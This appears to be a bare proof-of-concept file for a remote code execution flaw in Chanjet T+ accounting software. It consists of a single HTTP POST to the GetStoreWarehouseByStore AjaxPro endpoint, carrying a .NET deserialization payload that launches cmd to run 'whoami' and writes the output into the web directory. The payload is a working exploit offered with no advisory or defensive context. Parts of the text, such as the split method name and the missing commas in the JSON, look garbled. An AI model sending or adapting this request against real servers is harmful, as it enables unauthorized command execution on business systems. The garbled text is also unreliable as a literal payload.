用有畅捷通T+GetStoreWarehouseByStore RCE漏洞.md

POST
/tplus/ajaxpro/Ufida.T.CodeBehind.PriorityLevel,App Code.ashx?met hod=GetstoreWarehouseByStore HTTP/1.1 Host: 
User-Agent:Mozilla/5.0 (X11;Linuxx86 64)AppleWebKit/537.36(KHTML， like
Gecko)Chrome/34.0.1847.137 Safari 4E423F 
Connection: close
Content-Length:668 
X-Ajaxpro-Method:GetstoreWarehouseByStore 
Accept-Encoding:gzip 





{ "storeID":{
"type":"system.Windows.Data.objectDataProvider,
PresentationFramework,Version=4.0.0.0,Culture=neutral,
PublicKeyToken=31bf3856ad364e35",   
"MethodName":"start"        
"objectInstance":{        
" type":"system.Diagnostics.Process,        
System,Version=4.0.0.0,
Culture=neutral,
PublicKeyToken=b77a5c561934e089"        
"startInfo":{        
" type":"system.Diagnostics.ProcessstartInfo, system,
Version=4.0.0.0,Culture=neutral,
PublicKeyToken=b77a5c561934e089"        
"FileName":"cmd",        
"Arguments":"/cwhoami>
C:/Progra~2/Chanjet/TPlusStd/Website/2RUsL6jgx9sGX4GItBcVfxarBM.t
xt"        }        } } }